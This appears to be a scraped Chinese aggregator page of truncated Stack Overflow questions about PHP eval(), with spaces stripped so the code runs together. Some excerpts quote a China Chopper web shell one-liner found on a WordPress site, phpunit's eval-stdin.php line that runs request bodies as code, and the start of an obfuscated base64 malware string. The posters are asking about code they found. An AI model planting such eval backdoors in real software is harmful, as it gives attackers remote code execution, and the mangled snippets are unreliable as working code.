jjzjj

php - 如何在不使用 eval() 的情况下从服务器动态加载和执行 Javascript?

我正在编写一个PHP框架,它允许PHP开发人员使用PHP类创建带有表单、网格、选项卡面板和菜单的ExtJS接口(interface)仅。例如,为了创建一个TabPanel,一个PHP类被一个URL数组实例化,当用户单击选项卡标题。为了做到这一点,我使用了以下Javascript函数,该函数通过AJAX调用加载PHP页面并执行其中的任何脚本。functionloadViewViaAjax(url){Ext.Ajax.request({url:url,success:function(objServerResponse){varresponseText=objServerResponse.

php - 通过引用翻译变量替换文本中的占位符

我正在尝试从以下函数中删除eval。我尝试使用sprintf和${},但仍然找不到解决方案。这里是函数:functionparseDbString(string$value='Lookingforagood{{$pippo}}'){$pippo='Pizza';returnpreg_replace_callback('/{{(.*?)}}/',function($res)use($pippo){//$val=${trim($res[1])};Returns"Undefinedvariable:$pippo"$val=@eval("return".trim($res[1]).";");/

PHP:帮助解码恶意代码

关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。这个问题似乎不是关于aspecificprogrammingproblem,asoftwarealgorithm,orsoftwaretoolsprimarilyusedbyprogrammers的.如果您认为这个问题是关于anotherStackExchangesite的主题,您可以发表评论,说明问题可能在哪里得到解答。关闭9年前。Improvethisquestioneval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV

php - 如何将 PHP 和 JavaScript 字符串与引号连接起来以正确求值

我有一个页面iframed在另一个页面中。子页面通过使用sendMessage()函数与父页面通信。父页面对从子页面收到的消息运行eval()。这是构造消息的代码:varmsg_string='$("body").append("")';varsend_string="sendMessage(\'"+msg_string+"\','')";setTimeout(send_string,);除其他外,问题是$content变量包含HTML,而id="test"之类的双引号不能很好地处理所有这些连接。我不知所措。我已经尝试通过将它们转换为"来转义$content中的引号,但这导致浏览器将d

php - 在 wordpress 站点中找到 <?php @eval($_POST ['pass' ]);?> 代码

我在我的一个wordpress插件站点中找到了这段代码。我想它可能会被恶意使用,但它到底做了什么,我能否查明它是否调用了一些我应该注意的其他操作? 最佳答案 此PHP脚本属于ChinaChopper黑客工具包。https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html 关于php-在wordpress站点中找到代码,我们在StackOv

php - 由于 phpunit 恶意文件 eval-stdin.php,端口 80 在 cpanel 上被阻止

我已将googleplus登录添加到我的网站(托管在共享服务器上)。google登录通过composer.json组合依赖库时,phpunit库是作为一部分下载的。它包含一个文件phpunit\phpunit\src\Util\PHP\eval-stdin.php。由于这个文件,我的域的80端口被阻止,因为他们说这是一个恶意软件文件。存储库链接是https://github.com/sebastianbergmann/phpunit以下是eval-stdin.php文件中的代码eval('?>'.file_get_contents('php://input'));有没有替代此代码的方法

php - 将字符串评估为 PHP 代码?

我有一个字符串,我想让PHP将其作为一段代码读取。原因是我想预先构建PHP的指令集,然后再执行。目前我有:$string='$this->model_db->get_results()';期望的结果是:$string2=$this->model_db->get_results(); 最佳答案 你可以有可变的变量/函数,但不能有可变的方法链。但是,您可以使用可变变量/函数创建方法链。查看php文档的这一页:http://php.net/manual/en/language.variables.variable.php它显示了使用字符串

php - Json eval 无法解析数据

我有一个php程序,我只在其中测试一些示例数据。我收到错误消息,因为元素列表后缺少]。我该如何阅读?$dataDetailsList=array();array_push($dataDetailsList,array('a'=>'1','b'=>'2','c'=>'3','d'=>'4','e'=>'5'));echojson_encode(array("DataDetailsList"=>$dataDetailsList));然后在我的jQuery处理器中我这样做。functionrequestData(){$.ajax({url:'live-server-data.php',suc

php - 如何从评估范围中删除 $this?

我正在编写简单的模板引擎和堆栈问题:$this即使在取消设置后仍落入eval范围。classfoo{publicfunctionmethod(){$code='var_dump(isset($this));';unset($this);var_dump(isset($this));//produce:booleanfalseeval($code);//produce:booleantrue}}$foo=newfoo;$foo->method();如何在不修改$code值的情况下避免这种情况? 最佳答案 我建议创建unboundclo

php - 为什么这在 PHP 中不起作用?

$constPrefix='_CONST_';if(strstr($content,$constPrefix)){$constants=array('PHP_VERSION','__FILE__');foreach($constantsas$constant){$constantOutput=eval($constant);$content=str_replace($constPrefix.$constant,$constantOutput,$content);}}基本上,只是尝试解析一些内容并将其中的字符串替换为等效的PHP常量。eval()是我应该在这里使用的吗?我以前从未真正找到